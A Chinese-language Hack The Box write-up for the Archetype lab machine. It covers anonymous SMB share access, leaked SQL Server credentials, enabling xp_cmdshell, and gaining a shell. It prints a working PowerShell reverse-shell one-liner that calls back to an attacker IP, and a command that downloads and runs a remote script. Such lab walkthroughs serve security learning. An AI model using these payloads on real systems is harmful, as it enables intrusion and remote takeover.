HTB Hack The Box -- Archetype


要是不知道怎么连接htb的靶机可以查看我的文章
如何连接Hack The Box的靶机?博客园
如何连接Hack The Box的靶机?CSDN

信息收集

先用nmap扫描对方开放了什么服务
在这里插入图片描述

攻击

首先比较引人注意的是
445smb服务,1433SQLServer服务

看到445服务就想到永恒之蓝漏洞,然而在这里应该是windows server的版本比较高(2019),所以应该是已经打了永恒之蓝的补丁
我们可以登陆一下smb服务,看看是否需要密码登录,没有经过权限配置可能默认允许所有人无需身份认证来匿名访问共享资源
登录smb可以使用smbclient
smbclient参数
-B<IP地址> 传送广播数据包时所用的IP地址。
-d<排错层级> 指定记录文件所记载事件的详细程度。
-E 将信息送到标准错误输出设备。
-h 显示帮助。
-i<范围> 设置NetBIOS名称范围。
-I<IP地址> 指定服务器的IP地址。
-l<记录文件> 指定记录文件的名称。
-L 显示服务器端所分享出来的所有资源。
-M<NetBIOS名称> 可利用WinPopup协议,将信息送给选项中所指定的主机。
-n<NetBIOS名称> 指定用户端所要使用的NetBIOS名称。
-N 不用询问密码。
-O<连接槽选项> 设置用户端TCP连接槽的选项。
-p<TCP连接端口> 指定服务器端TCP连接端口编号。
-R<名称解析顺序> 设置NetBIOS名称解析的顺序。
-s<目录> 指定smb.conf所在的目录。
-t<服务器字码> 设置用何种字符码来解析服务器端的文件名称。
-T<tar选项> 备份服务器端分享的全部文件,并打包成tar格式的文件。
-U<用户名称> 指定用户名称。
-W<工作群组> 指定工作群组名称。

连接后smb>的命令

?或help [command]        提供关于帮助或某个命令的帮助 
![shell command]         执行所用的SHELL命令,或让用户进入 SHELL提示符 
cd [目录]                切换到服务器端的指定目录,如未指定,则 smbclient 返回当前本地目录 
lcd [目录]               切换到客户端指定的目录; 
dir 或ls                 列出当前目录下的文件; 
exit 或quit              退出smbclient 
get file1  file2         从服务器上下载file1,并以文件名file2存在本地机上;如果不想改名,可以把file2省略 
mget file1 file2 file3   从服务器上下载多个文件; 
md或mkdir 目录           在服务器上创建目录 
rd或rmdir.html' target='_blank'>rmdir 目录 删除服务器上的目录 
put file1 [file2]       向服务器上传一个文件file1,传到服务器上改名为file2; 
mput file1 file2 filen  向服务器上传多个文件 

我们在里只需要-N和-L参数(注意顺序不能变)
smbclient -N -L //10.10.10.27
在这里插入图片描述
这四个目录除了第二个backups,其他都是访问不了的,所以我们只能访问backups
smbclient -N //10.10.10.27/backups
在这里插入图片描述
然后可以看到有一个配置文件,用get命令下载下来
get prod.dtsConfig
https://the-x.cn/file/Extension/DTSCONFIG.aspx
在这里插入图片描述
可以看到这个文件是sqlserver的配置文件
在这里插入图片描述
拿到了SQLSERVER的密码和账号,我们可以尝试登陆sqlserver
登录sqlserver似乎有很多工具,我使用的是impacket包example文件夹中的mssqlclient.py脚本,主要是刚好最近在学习内网时用到
要使用impacket包要要先安装impacket工具包

sudo git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
sudo pip3 install .
sudo python3 setup.py install

输入python 3 mssqlclient.py -h查看帮助
python3 ./mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
在这里插入图片描述
我们的最终目的是为了拿到靶机上的flag,一般只有拿到了主机的shell才能拿得到flag,所以我们的目标就是拿到shell,sqlserver刚好有执行命令的功能,可以帮助我们拿到shell
参考:https://blog.csdn.net/qq_36374896/article/details/84112242
使用的函数为xp_cmdshell,xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启
开启xp_cmdshell命令如下:

exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;

有的时候不支持多句执行,那就采用分步执行,开启xp_cmdshell过程如下:

exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE; //配置生效

在这里插入图片描述

可以通过exec sp_configure查看xp_cmdshell状态:
exec sp_configure
在这里插入图片描述
在这里插入图片描述
看一下权限和ip
在这里插入图片描述
成功执行
然后其实我们就可以通过RCE直接读取到位于sql_svc用户桌面的flag,但是为了提高难度决定要拿到shell
通过RCE可以判断出目标电脑没有安装java、php、python等主流编程语言,也没有安装netcat,所以有一些反弹shell的方法无法做到
在这里插入图片描述
所以打算用powershell的脚本进行反弹shell
尝试使用了nishang的反弹,但是没有成功,而且在这个函数下很多命令都无法正常的执行,最后只能用简单的ps1的脚本进行反弹

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.206",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

将开头的的ip修改为自己的ip,端口修改为要监听的端口
在这里插入图片描述
注意红线处才是可以和靶机互联的IP,用nc监听
然后再kali'开启apache服务,使靶机可以远程下载到我们的脚本,下载方法可以使用powershell的命令
powershell -exec bypass -c IEX(New-Object System.Net.WebClient).DownloadString('URI');
这里有一点比较奇怪的是,使用命令xp_cmdshell ""运行下载的命令一直会报语法错误,所以只能用另一个写法
exec master..xp_cmdshell "powershell -exec bypass -c IEX(New-Object System.Net.WebClient).DownloadString('URI');";,再执行完下载脚本后脚本自动运行,可以看到nc'已经返回shell了
在这里插入图片描述

posted @ 2021-09-06 22:38  Gh0st_1n_The_Shell  阅读(263)  评论(0编辑  收藏  举报